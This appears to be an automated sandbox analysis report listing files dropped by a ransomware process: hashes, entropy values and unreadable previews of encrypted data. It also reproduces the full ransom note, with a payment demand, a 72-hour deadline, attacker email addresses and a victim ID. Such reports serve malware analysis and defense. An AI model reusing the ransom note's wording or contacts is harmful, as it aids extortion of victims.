                                                                                                                                        SHA-256:22B04D9C0205CFCDDED874A49A3C1FFC442DECC0C960693C9659F1666AA4C011
                                                                                                                                        SHA-512:15DD0F42273ADDDDF5C8B09FE2676F6C3A4C614EA9553566A2D48EB0476E171C8FE663FB2EDA40D98F648704229A55682C8434D824B64B6083D2B4327066EE58
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:......j..Z.P+0Th%...g.w...n.....X.D.. ......F)...p./}..)._].'-s2..I..F} V...k.wet.}..O.l].*q.A..r.e..(..'.....%..F....}#9L.......[.`.&......<..|..@./.KO.iTa.[.X.d4/.Q)..3...ng.".(8}e.v..e%2.r...F...c....%..H....$..`.@7>..._...$5.4.*I.k......%.p.........=...o.h......zERu....*..v{|..i......7.g......_WY.d..h..t!..iq......<.. !w:OB.O..vooo.U.B..G.*....1.T.`.`.x;..._...e89..(iC&.G...=W..I].>...m..j.uC...Miot.fHR.I..>/...M.*W...o./..zX/.z.J.1.-P..S....].tVED..&S...u..9.i{.w......../..m.A5....&.Gw.+...u%"0k..Y5.$...M{.H..\Z.@.#'.{.......X..c.Q.^Fe,QY......K...P.eX..9}.....Ci..Ph?...\.|..~....#&S.....CN.R8.\b".)bu.7...e.BQ....'..*.....`....H.0G.V......B.1..ur.b..W.2QQj.%x.9..'.0.......F+??...Hh3,..._...!.*...T#...^...A.....]..w.;.@..H5.{"{.*Z.yQ.l..B.Y..y\O4)V.e.Jt$.{..I.[....d...|X.....4.7...t.4....3..O..8.h/..;.7d._j...B.zp.f.F....<[..".7t.i....tD.>......E.5..%.ua...... b.H..w@..kxr{"..^.=F(.(.....z....4.@zp..p-..."....g..V.@.....N......`0.....Y..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.84905735106121
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:DkngcJVJiCCehc9sXc5vtnMkEtefO7mLSkcSuf90:igg1FrSviqWpkqF0
                                                                                                                                        MD5:A8CCDA1EFB85D737E917539983AD4C09
                                                                                                                                        SHA1:EE1D1DC3F19BD1FD6E5C9562FBB0ED96611119F3
                                                                                                                                        SHA-256:22B04D9C0205CFCDDED874A49A3C1FFC442DECC0C960693C9659F1666AA4C011
                                                                                                                                        SHA-512:15DD0F42273ADDDDF5C8B09FE2676F6C3A4C614EA9553566A2D48EB0476E171C8FE663FB2EDA40D98F648704229A55682C8434D824B64B6083D2B4327066EE58
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:......j..Z.P+0Th%...g.w...n.....X.D.. ......F)...p./}..)._].'-s2..I..F} V...k.wet.}..O.l].*q.A..r.e..(..'.....%..F....}#9L.......[.`.&......<..|..@./.KO.iTa.[.X.d4/.Q)..3...ng.".(8}e.v..e%2.r...F...c....%..H....$..`.@7>..._...$5.4.*I.k......%.p.........=...o.h......zERu....*..v{|..i......7.g......_WY.d..h..t!..iq......<.. !w:OB.O..vooo.U.B..G.*....1.T.`.`.x;..._...e89..(iC&.G...=W..I].>...m..j.uC...Miot.fHR.I..>/...M.*W...o./..zX/.z.J.1.-P..S....].tVED..&S...u..9.i{.w......../..m.A5....&.Gw.+...u%"0k..Y5.$...M{.H..\Z.@.#'.{.......X..c.Q.^Fe,QY......K...P.eX..9}.....Ci..Ph?...\.|..~....#&S.....CN.R8.\b".)bu.7...e.BQ....'..*.....`....H.0G.V......B.1..ur.b..W.2QQj.%x.9..'.0.......F+??...Hh3,..._...!.*...T#...^...A.....]..w.;.@..H5.{"{.*Z.yQ.l..B.Y..y\O4)V.e.Jt$.{..I.[....d...|X.....4.7...t.4....3..O..8.h/..;.7d._j...B.zp.f.F....<[..".7t.i....tD.>......E.5..%.ua...... b.H..w@..kxr{"..^.=F(.(.....z....4.@zp..p-..."....g..V.@.....N......`0.....Y..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.829381739597185
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:uvdsnQW0YUV4UGIPTPFaHgogMdSYlDKP9ESEGuC6k25376qU8yKSFCZu3q2EasCr:uvdW0soVUe1LE3C6J3+qUE3Zu3ErC3+A
                                                                                                                                        MD5:390861041F4B8D84A02CB7F6F29C7E66
                                                                                                                                        SHA1:E74FEBEA738743876F971AC6C9E7668C8FD1A03C
                                                                                                                                        SHA-256:EC0CF57F111EA5212325EFA43CB9A12F1A971FB4FDFFE0D594BDEA5856429EE3
                                                                                                                                        SHA-512:819E0922433D427E6372657E116492972774151048FD3FC8D251BF52B8D60BD6EECDB4832BB04AA0A544B505CBCCDD33779DB9D1C3ADBD8C7DDFB4C866826FDD
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.. t......i...lF..c..2.]..._..q r.nhr89...A.i........KX.d...7. ..rP...,....~............^.....A......:-...C...m....W..3....k_|...=h....^N."..B...:8......Q5+....p}.......&C..`F.1PX&`#h%h........7^.....#.fJ.,.H;..K"6..o....^D.n6.s./...Bm....:6..q(1.d.....^VH...."..l.(.R.|...).*.%1..=u.5P...W...$.Xm.e.X..K.~....s...u.z.mc.......B...e....\.a...#M...z.@'f&S)...G..).w...(.ra!.s...$...4.w.Oi...G!..|=.ku.V...1.`./%.?~.w.O,..{.g........E./.>..`..m.5F.u.....H...({...p"...*...W.Mh@{....Dy.......]p......T..6.!.J$.sT.FR.mA...*..K.|.b......ws.B..m..l..nO|'..I..W.../..V...#..i!..6...g...\L.....t.R.`....`U.e.....FU`d...b.X};..dE..B......4.i'.I.(_'..]~.......&.l{Q.boL..H.....'%.........6.3.......c.6.S....'Sm.B...s...U...._.....e...u)jB".6..`7.S..P)......5.k.1.M.4.e .E......[..m..:..?..W...m./..Es..#W..J.]o.. Ps.N.i..Ty:.*rY...........\. .^...!.L/.S`..4"'|.t..l./.W..K.x....D.6.wo.}.....`...T.D..L...G0.............7}{.-Eq.di9r..\nR.?.NQc|._2@Q..l..(]
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.829381739597185
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:uvdsnQW0YUV4UGIPTPFaHgogMdSYlDKP9ESEGuC6k25376qU8yKSFCZu3q2EasCr:uvdW0soVUe1LE3C6J3+qUE3Zu3ErC3+A
                                                                                                                                        MD5:390861041F4B8D84A02CB7F6F29C7E66
                                                                                                                                        SHA1:E74FEBEA738743876F971AC6C9E7668C8FD1A03C
                                                                                                                                        SHA-256:EC0CF57F111EA5212325EFA43CB9A12F1A971FB4FDFFE0D594BDEA5856429EE3
                                                                                                                                        SHA-512:819E0922433D427E6372657E116492972774151048FD3FC8D251BF52B8D60BD6EECDB4832BB04AA0A544B505CBCCDD33779DB9D1C3ADBD8C7DDFB4C866826FDD
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.. t......i...lF..c..2.]..._..q r.nhr89...A.i........KX.d...7. ..rP...,....~............^.....A......:-...C...m....W..3....k_|...=h....^N."..B...:8......Q5+....p}.......&C..`F.1PX&`#h%h........7^.....#.fJ.,.H;..K"6..o....^D.n6.s./...Bm....:6..q(1.d.....^VH...."..l.(.R.|...).*.%1..=u.5P...W...$.Xm.e.X..K.~....s...u.z.mc.......B...e....\.a...#M...z.@'f&S)...G..).w...(.ra!.s...$...4.w.Oi...G!..|=.ku.V...1.`./%.?~.w.O,..{.g........E./.>..`..m.5F.u.....H...({...p"...*...W.Mh@{....Dy.......]p......T..6.!.J$.sT.FR.mA...*..K.|.b......ws.B..m..l..nO|'..I..W.../..V...#..i!..6...g...\L.....t.R.`....`U.e.....FU`d...b.X};..dE..B......4.i'.I.(_'..]~.......&.l{Q.boL..H.....'%.........6.3.......c.6.S....'Sm.B...s...U...._.....e...u)jB".6..`7.S..P)......5.k.1.M.4.e .E......[..m..:..?..W...m./..Es..#W..J.]o.. Ps.N.i..Ty:.*rY...........\. .^...!.L/.S`..4"'|.t..l./.W..K.x....D.6.wo.}.....`...T.D..L...G0.............7}{.-Eq.di9r..\nR.?.NQc|._2@Q..l..(]
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.855128071782962
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:Qqrd53yR8CXgnWDZj3jkpAkJszgh/DUH2YJV3/y:Qc5i2CXgngZj34pVJZh4HVq
                                                                                                                                        MD5:2D92A1F28E673D61F7768DCC6B7AC329
                                                                                                                                        SHA1:8CFD564A2A857234AA08D2AD774F6914E6C34285
                                                                                                                                        SHA-256:95814C672A359F16988955B24D780F7D7224F59FC93F870A2C8848272584B6FD
                                                                                                                                        SHA-512:3DAF84EDA091B6A33CA2BD5CE04DF3997FF8DF21837CF9300360D6218BCD819192375688AB17B4E540D140BAFDBC33606F88815B442FA7BF155ABF1F7A7B03BE
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:K?...o.dHn...._Z.1.7d..)-..ZT..L...M.%.<.........lJ....8.....~o4Ds..'.b;.R...W.l..*`9.h.-?k......A.&u.|.-.~.:...U.t?.J^..1.Q...\...}F8.~.R7......QT.._/Y.O.e.R3{L.....8c.....G..[..lu.....T5."n).&..3.,3..x..d...O..~..%..U.t.Hh,a;.X..?.u....}03'..x..U.....f.y..f.&....`vuQ./...I............%a{....+`.h..&Vu.k<.....h.....s..;.`....L......L........V...D..:..>k.*8?...k..$kJJ..s:...p..i.1...OV4d.(.Zq..G..%../.B.......#.K.......F.v.S.Q..Ec&.o.!....0.t.,@.e..*.....(..N.Sn..O...d...MH.U.MZj..<.X.....h.......U...A...L....Fc.0.sA}...om...@..J...$..F.CV...c[[yi.W..m....D..}}...'[P.Bb.d...}.y:...?T..~....n;.pA$.)S..2T.....~..t.$.=. ...&...A\;@.zm..N6......{.....U>em8...q".......v.Ay#...V.~L..L.NT.....[r....'......%.4.i.Z[hi..B..L..W......m..u.-Yg...tXC]Va.u...?.../...F.......k....b..U5....^.vk...G...Q..". .A....u.vv......;..*....T....U.....y.&j.+......[<.....1R3..S...(.......*........@.mt..~.DW.YA........r...J......w..fN.l.8P....A.H.G1?.....1.x...O
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.855128071782962
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:Qqrd53yR8CXgnWDZj3jkpAkJszgh/DUH2YJV3/y:Qc5i2CXgngZj34pVJZh4HVq
                                                                                                                                        MD5:2D92A1F28E673D61F7768DCC6B7AC329
                                                                                                                                        SHA1:8CFD564A2A857234AA08D2AD774F6914E6C34285
                                                                                                                                        SHA-256:95814C672A359F16988955B24D780F7D7224F59FC93F870A2C8848272584B6FD
                                                                                                                                        SHA-512:3DAF84EDA091B6A33CA2BD5CE04DF3997FF8DF21837CF9300360D6218BCD819192375688AB17B4E540D140BAFDBC33606F88815B442FA7BF155ABF1F7A7B03BE
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:K?...o.dHn...._Z.1.7d..)-..ZT..L...M.%.<.........lJ....8.....~o4Ds..'.b;.R...W.l..*`9.h.-?k......A.&u.|.-.~.:...U.t?.J^..1.Q...\...}F8.~.R7......QT.._/Y.O.e.R3{L.....8c.....G..[..lu.....T5."n).&..3.,3..x..d...O..~..%..U.t.Hh,a;.X..?.u....}03'..x..U.....f.y..f.&....`vuQ./...I............%a{....+`.h..&Vu.k<.....h.....s..;.`....L......L........V...D..:..>k.*8?...k..$kJJ..s:...p..i.1...OV4d.(.Zq..G..%../.B.......#.K.......F.v.S.Q..Ec&.o.!....0.t.,@.e..*.....(..N.Sn..O...d...MH.U.MZj..<.X.....h.......U...A...L....Fc.0.sA}...om...@..J...$..F.CV...c[[yi.W..m....D..}}...'[P.Bb.d...}.y:...?T..~....n;.pA$.)S..2T.....~..t.$.=. ...&...A\;@.zm..N6......{.....U>em8...q".......v.Ay#...V.~L..L.NT.....[r....'......%.4.i.Z[hi..B..L..W......m..u.-Yg...tXC]Va.u...?.../...F.......k....b..U5....^.vk...G...Q..". .A....u.vv......;..*....T....U.....y.&j.+......[<.....1R3..S...(.......*........@.mt..~.DW.YA........r...J......w..fN.l.8P....A.H.G1?.....1.x...O
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.861986047986214
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:fEsKxO8ndVCPCT0udfoqE6B4j1b79Xp3o9B+u+VpCv69LXQOos:srxp6A0QE6ud7zo9BvY8G
                                                                                                                                        MD5:8747A629E0422739EAB498F8C03DF962
                                                                                                                                        SHA1:EF815B704E01978622B9D39F86C269C5A6B36AF1
                                                                                                                                        SHA-256:B35553676146C43726CD99D21411D05D94280C829BD9F13FC1254BD1F6753D4C
                                                                                                                                        SHA-512:DBC6768137F7B4A1B102E8EEAD08AAA75FC15C496FBE6DEE8F445461B9E071FB7D449CD87E7E1C4D5B64BB9F27772A8FFBA14322D6447098BB09552067299850
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.:.[.R...E......sS..V&"Z...T.8.C....DN.....GJo...R.....R.1...'....e..I!i.[.H.X..&x..#..Vo>...^...\Z...../jD..|.....t.3..C...G.qM8.E..x..@k..<.kB..b...}.Vu.X....w&E.-...fjD...\...}7s(|^z=..i+X7..d.......0._..`/...Y.S[..ip{<B...LS..y.......*.........U..D..!O.C..V94dMW./Pwu..g..<.%...}=-)2-..7..)....NR5.7=eX....bR...E....6..m...).@4..EBE.C.F!.....&..y...Mx ...m....'..-.4....aV...9.....E..)..<.'x.. ug..........2.?X.^.HJ3.........C...%..?..j...$V.v.f@7xnGwn,...M.|H...+....k....I.^.DC...p...y...?.......c`....W.......F..X.........]...J...!...76eT..Il.j-......._.~..Tm.9.y-./>L+].r.`tD|k.i%WV..C..v.m.Bd..:....z.yR..1..Ijs.+.j..-.w......_N..N-..}$..%M..Q...=..C..&RI.&rz/lc.J...D.>...Kl........6ZG...c3ZUD.,......}&..Q..u.E...xs..k.,.e.ta.....b.Y.j..r..,.O....x...~.{].H.#.E.*.....'..1....~.. ....P....[.*H....xF~I....-a..i@=...lx.. !.N....*S}.....@k#WD...)+...#.....=*.U5b]Y....?.8.Y....._..x.C.@..q....z<.....G...m..9.+.X=.......0...:..Ro@Po..@..#f+(......".e..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.861986047986214
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:fEsKxO8ndVCPCT0udfoqE6B4j1b79Xp3o9B+u+VpCv69LXQOos:srxp6A0QE6ud7zo9BvY8G
                                                                                                                                        MD5:8747A629E0422739EAB498F8C03DF962
                                                                                                                                        SHA1:EF815B704E01978622B9D39F86C269C5A6B36AF1
                                                                                                                                        SHA-256:B35553676146C43726CD99D21411D05D94280C829BD9F13FC1254BD1F6753D4C
                                                                                                                                        SHA-512:DBC6768137F7B4A1B102E8EEAD08AAA75FC15C496FBE6DEE8F445461B9E071FB7D449CD87E7E1C4D5B64BB9F27772A8FFBA14322D6447098BB09552067299850
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.:.[.R...E......sS..V&"Z...T.8.C....DN.....GJo...R.....R.1...'....e..I!i.[.H.X..&x..#..Vo>...^...\Z...../jD..|.....t.3..C...G.qM8.E..x..@k..<.kB..b...}.Vu.X....w&E.-...fjD...\...}7s(|^z=..i+X7..d.......0._..`/...Y.S[..ip{<B...LS..y.......*.........U..D..!O.C..V94dMW./Pwu..g..<.%...}=-)2-..7..)....NR5.7=eX....bR...E....6..m...).@4..EBE.C.F!.....&..y...Mx ...m....'..-.4....aV...9.....E..)..<.'x.. ug..........2.?X.^.HJ3.........C...%..?..j...$V.v.f@7xnGwn,...M.|H...+....k....I.^.DC...p...y...?.......c`....W.......F..X.........]...J...!...76eT..Il.j-......._.~..Tm.9.y-./>L+].r.`tD|k.i%WV..C..v.m.Bd..:....z.yR..1..Ijs.+.j..-.w......_N..N-..}$..%M..Q...=..C..&RI.&rz/lc.J...D.>...Kl........6ZG...c3ZUD.,......}&..Q..u.E...xs..k.,.e.ta.....b.Y.j..r..,.O....x...~.{].H.#.E.*.....'..1....~.. ....P....[.*H....xF~I....-a..i@=...lx.. !.N....*S}.....@k#WD...)+...#.....=*.U5b]Y....?.8.Y....._..x.C.@..q....z<.....G...m..9.+.X=.......0...:..Ro@Po..@..#f+(......".e..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.842909293574905
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:AwvG0pYZ/LSdtwJE0HFKxI+tqH18SHjVql174CcUq55pwTObriS:AOYZ/eXwJE0HonseSHBql174PUqb+O/J
                                                                                                                                        MD5:D294B3BA2F2D0989C1996469242AFB3E
                                                                                                                                        SHA1:5113459610C853B286498D4503669C03F0C5F338
                                                                                                                                        SHA-256:A680967203538F644F5F0B846D609EF7E88F75D2D8D833E58763928DA11213CE
                                                                                                                                        SHA-512:AEBB162F99C087BC5A60CE083213B00108FFFCB6CB63E05DE18258175E4553D0E84C99D557BA2F27C053709F4004761CFE0FE923A713AC2B16CF5A16B8BAAA19
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:>;./..>....D...... ...`w..y...$..#...'r4...A..p...D....C|..7a.*."....;.....L.P\.nWA.....(....5.$..J....t`....T.^..,...25...cc..n)4.D6.....E..:v...5=.1...k.9..q...i........`|.IA.3...u..jl.h..B...eM.....Ow@S..V.g.$....4L.;.....9/..n.....w....c.U......&.....<+..g.D.;7.W.'.7`......4.?}}.....k..?Di.^.&..,]...#...0..q.O...t.I.v.2.....c...,.d>.......%.-T.<.........%.] ...8...w..:...Q.TQ.`l*..BH."4?...xZ.......,...RM....M...?3..l.-X..P.S..n.V.o(.V..$.}'Y.`;3O..5ml0..8...rCvFx[...0C.D...E/[e..7...l.:J..x.K....N.S....\.......ReZ.f.K..%../.@.`W.....ID.x.a..d.3J%...$............RaJ....6....Z.e..)G.^Di...t...E-z....e.,.."t..Q....wf...E).......9..x...M.....K).s....<..bBg..........._T..k..G<$.7e.*z......!)x.."aa)W:^.l..A.N../....@d.c7...J{q}I...9.....J..8..qp...R+EK}.m..n.q.e.J....".6F.Ih.Dj...A.'H...U.M..%"Y...Q.%...u....w!...{w.A..q.^..Ll...Rw.1.-.....?}OB..r..~....Y.8.3.........o...-.^=.D..>..QE..>...8...Bq(.?.E}.r.J.U_.....[C|'T.%k.P][...1...n..^
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.842909293574905
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:AwvG0pYZ/LSdtwJE0HFKxI+tqH18SHjVql174CcUq55pwTObriS:AOYZ/eXwJE0HonseSHBql174PUqb+O/J
                                                                                                                                        MD5:D294B3BA2F2D0989C1996469242AFB3E
                                                                                                                                        SHA1:5113459610C853B286498D4503669C03F0C5F338
                                                                                                                                        SHA-256:A680967203538F644F5F0B846D609EF7E88F75D2D8D833E58763928DA11213CE
                                                                                                                                        SHA-512:AEBB162F99C087BC5A60CE083213B00108FFFCB6CB63E05DE18258175E4553D0E84C99D557BA2F27C053709F4004761CFE0FE923A713AC2B16CF5A16B8BAAA19
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:>;./..>....D...... ...`w..y...$..#...'r4...A..p...D....C|..7a.*."....;.....L.P\.nWA.....(....5.$..J....t`....T.^..,...25...cc..n)4.D6.....E..:v...5=.1...k.9..q...i........`|.IA.3...u..jl.h..B...eM.....Ow@S..V.g.$....4L.;.....9/..n.....w....c.U......&.....<+..g.D.;7.W.'.7`......4.?}}.....k..?Di.^.&..,]...#...0..q.O...t.I.v.2.....c...,.d>.......%.-T.<.........%.] ...8...w..:...Q.TQ.`l*..BH."4?...xZ.......,...RM....M...?3..l.-X..P.S..n.V.o(.V..$.}'Y.`;3O..5ml0..8...rCvFx[...0C.D...E/[e..7...l.:J..x.K....N.S....\.......ReZ.f.K..%../.@.`W.....ID.x.a..d.3J%...$............RaJ....6....Z.e..)G.^Di...t...E-z....e.,.."t..Q....wf...E).......9..x...M.....K).s....<..bBg..........._T..k..G<$.7e.*z......!)x.."aa)W:^.l..A.N../....@d.c7...J{q}I...9.....J..8..qp...R+EK}.m..n.q.e.J....".6F.Ih.Dj...A.'H...U.M..%"Y...Q.%...u....w!...{w.A..q.^..Ll...Rw.1.-.....?}OB..r..~....Y.8.3.........o...-.^=.D..>..QE..>...8...Bq(.?.E}.r.J.U_.....[C|'T.%k.P][...1...n..^
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.847981486312358
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:DWdDzGsLSQwH4xm87PnJTRD8sf2F38PNgC1uP5V9SKY/g4K8mjwbHltE2Ty:DWdHFSFn8FTl8sfuWNvsPigumjwbk2O
                                                                                                                                        MD5:79C05632EE9DC41EE8732CF478FB4687
                                                                                                                                        SHA1:6C3D7E4CC6DDE64F17F01D0BF9E1B62C8A4B079F
                                                                                                                                        SHA-256:326D07D5B87321E1B42EFC5231E3B168DC638BE433A9D3BA0213A057E5E98B93
                                                                                                                                        SHA-512:41FDFA74A5A63ADE2C2F2DA18E8036077AA233803A8E31F63C8D7A5981312E179C383B808DA503572708880A471623AF1FA48B184964B06E28F0DE4D5228AABF
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...B>s..`..pg...$..GH.._......Q..s....,...j......W...p...}...9/.....!....!7.p.W...../.4......G.o.t.a"..I.X$..(z`T...!..)..... .K~3`....hZ....R...Z?..w...k./.D3.8..C.$..X[61.0l...W'...:&.Y.H..q...i.......`.%.9..FM.}..j2..pJ.......f{.8*....(A..q.......?.a.JD4<)^S....5}.C..<.L...L..@"..F....y..D..F..)!....yL.@..m....K..&z....u.q.....JX5...+.;:..d,....6....>_...._.....-.._......#...y.[.#....|.\..Y..x.....]pM.R....X......O.o...9$......?S.L.....L......S..f.hG...*k.%.!...97.1ko.F.......t..=..}].....p.y[...x.).......4..;...b....a..Z.(.l..Y[..l[.,...a.....>.4..0.N;SN.i|...&g..r.....L^N1.W+.0..^h..W..`......*.....nst...2VT>.rV...f>5;.wo...#..L...KeW."M..#.E.?_......q..3.O.@*3.U.V|..!.......^.7..I.(o..y...x...W.....}.I2v.....................Nc.......@Q*.E....$y1.K.]y+.....r.}.T.....V".?/k`/..Nm...#W....<....X>../...b.8.....}h'._...<I1...Fi.1.U_.b...M2~.Q...!.HKG{...!_.J.o.i..O......tA..?..5........a...&...9......MR.....$...C..A....X..q..Vgq...S.+mV..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.847981486312358
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:DWdDzGsLSQwH4xm87PnJTRD8sf2F38PNgC1uP5V9SKY/g4K8mjwbHltE2Ty:DWdHFSFn8FTl8sfuWNvsPigumjwbk2O
                                                                                                                                        MD5:79C05632EE9DC41EE8732CF478FB4687
                                                                                                                                        SHA1:6C3D7E4CC6DDE64F17F01D0BF9E1B62C8A4B079F
                                                                                                                                        SHA-256:326D07D5B87321E1B42EFC5231E3B168DC638BE433A9D3BA0213A057E5E98B93
                                                                                                                                        SHA-512:41FDFA74A5A63ADE2C2F2DA18E8036077AA233803A8E31F63C8D7A5981312E179C383B808DA503572708880A471623AF1FA48B184964B06E28F0DE4D5228AABF
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...B>s..`..pg...$..GH.._......Q..s....,...j......W...p...}...9/.....!....!7.p.W...../.4......G.o.t.a"..I.X$..(z`T...!..)..... .K~3`....hZ....R...Z?..w...k./.D3.8..C.$..X[61.0l...W'...:&.Y.H..q...i.......`.%.9..FM.}..j2..pJ.......f{.8*....(A..q.......?.a.JD4<)^S....5}.C..<.L...L..@"..F....y..D..F..)!....yL.@..m....K..&z....u.q.....JX5...+.;:..d,....6....>_...._.....-.._......#...y.[.#....|.\..Y..x.....]pM.R....X......O.o...9$......?S.L.....L......S..f.hG...*k.%.!...97.1ko.F.......t..=..}].....p.y[...x.).......4..;...b....a..Z.(.l..Y[..l[.,...a.....>.4..0.N;SN.i|...&g..r.....L^N1.W+.0..^h..W..`......*.....nst...2VT>.rV...f>5;.wo...#..L...KeW."M..#.E.?_......q..3.O.@*3.U.V|..!.......^.7..I.(o..y...x...W.....}.I2v.....................Nc.......@Q*.E....$y1.K.]y+.....r.}.T.....V".?/k`/..Nm...#W....<....X>../...b.8.....}h'._...<I1...Fi.1.U_.b...M2~.Q...!.HKG{...!_.J.o.i..O......tA..?..5........a...&...9......MR.....$...C..A....X..q..Vgq...S.+mV..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.8454440730112
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:xmLYO9BLEVKfOI03BSg4iYuo/7O16rrvRMDUg68dGLYA1CwD3MaJm:x29HB0xSCY7/7vbiaFLPCwDe
                                                                                                                                        MD5:22A5F254BE01EAC29A22859872C94FFB
                                                                                                                                        SHA1:070763E204652FC350861F39D68CCDE1DE2002C6
                                                                                                                                        SHA-256:775D3F05ACC4323136BCF9EE6B3DAAA02C318095E1BD8C243101D31D20B74054
                                                                                                                                        SHA-512:53094E60361C00A07D4D1FD976B9E9730D7470004DD29CAE718A31AEB6A4D79F224E5944AE85951A18C137450F60120FCA752C8B7CDB7F475E4AA051D03EB9B3
                                                                                                                                        Malicious:false
